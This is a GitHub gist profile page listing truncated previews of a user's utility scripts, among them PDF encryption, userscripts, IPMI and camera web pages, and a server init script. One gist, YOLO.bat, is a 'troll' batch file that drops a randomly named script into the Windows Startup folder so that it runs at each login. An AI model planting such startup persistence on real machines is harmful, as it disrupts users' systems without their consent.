Skip to content

Instantly share code, notes, and snippets.


Block or report user

Report or block Albirew

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View chiffrer-PDF.bat
@echo off
:: permet de chiffrer un fichier pdf avec pdftk simplement en lachant le fichier pdf sur ce bat.
:: vous aurez besoin de pdftk:
:: utile pour faire chier les administrations en bloquant le copier-coller et en permettant que l'impression
:: si vous voulez placer ce fichier en dehors du dossier de pdftk, veuillez remplacer %~dp0 dans la ligne suivante
set pdftk=%~dp0
:: ensuite, votre mot de passe pour chiffrer votre PDF
set pwd=Putain de mot de passe en or massif 24 carats serti de diamants!
Albirew / YOLO.bat
Last active Mar 2, 2020
evolution of a "harmless" troll batch file (see revisions)
View YOLO.bat
@echo off
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
View hash2magnet.php
$hash = trim($hash);
$hash = stripslashes($hash);
$hash = htmlspecialchars($hash);
Albirew / InviReg.user.js
Last active Aug 23, 2019 — forked from Tazeki/Reghook.js
YouTube / Invidious RegEx based URL conversion.
View InviReg.user.js
// ==UserScript==
// @name InviReg - YouTube->Invidious
// @author Albirew, heavily based on script by Tazeki
// @namespace
// @description The smallest, possibly most useful YouTube-Invidious conversion script. RegEx based. Sends any / sites to Invidious before page load. Does not affect /, (,, etc.).
// @include *youtube*
// @version 1.1a
// @icon
// @grant none
// @run-at document-start
Albirew / anti-disabled.user.js
Last active Aug 1, 2019
Remove fuckin password and button limitation on websites
View anti-disabled.user.js
// ==UserScript==
// @name anti-disabled
// @description Remove fuckin password and button limitation on websites
// @version 1.2
// @author sysadmin_fr |
// @namespace
// @grant none
// @include http://*
// @include https://*
// @run-at document-start
Albirew / ipmi.php
Last active Jun 10, 2019
affichage IPMI vers une page web
View ipmi.php
<!doctype html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Stats IPMI</title>
<meta name="description" content="page IPMI">
<style type="text/css">
tr:nth-child(even) {background-color: #f2f2f2;}
Albirew / dcs-5020l-camera-control.php
Created Apr 4, 2019
Simple D-Link DCS-5020L camera web control
View dcs-5020l-camera-control.php
<!DOCTYPE html>
<title>D-Link DCS-5020L cam control for <?php echo($camIP); ?></title>
<meta charset="UTF-8">
Albirew /
Created Feb 18, 2019
rename files with shitty windows-1252 characters into normal format
find -name *é* -exec rename 's/é/é/g' '{}' \;
find -name *è* -exec rename 's/è/è/g' '{}' \;
find -name *ç* -exec rename 's/ç/ç/g' '{}' \;
find -name *à* -exec rename 's/à/à/g' '{}' \;
find -name *ù* -exec rename 's/ù/ù/g' '{}' \;
find -name *ø* -exec rename 's/ø/ø/g' '{}' \;
find -name *â* -exec rename 's/â/â/g' '{}' \;
find -name *ë* -exec rename 's/ë/ë/g' '{}' \;
find -name *ÿ* -exec rename 's/ÿ/ÿ/g' '{}' \;
Albirew / capture-error-winload.bat
Created May 24, 2018
2012r2 bypass error 0xc000000f (failed to start winload.*)
View capture-error-winload.bat
@echo off
:: script to use when capture image capture shows error 0xc000000f (failed to start winload.*) under 2012r2
echo º Bypass error 0xc000000f on capture.wim (failed to start winload.*) º
if [%1]==[] goto noarg
:: UAC privilege escalation
Albirew /
Last active Mar 4, 2018
PocketMine (Minecraft Pocket Edition) server init start script using SCREEN
# /etc/init.d/pocketmine
# Provides: pocketmine
# Required-Start: $local_fs $network $remote_fs screen-cleanup
# Required-Stop: $local_fs $network $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: PocketMine server
You can’t perform that action at this time.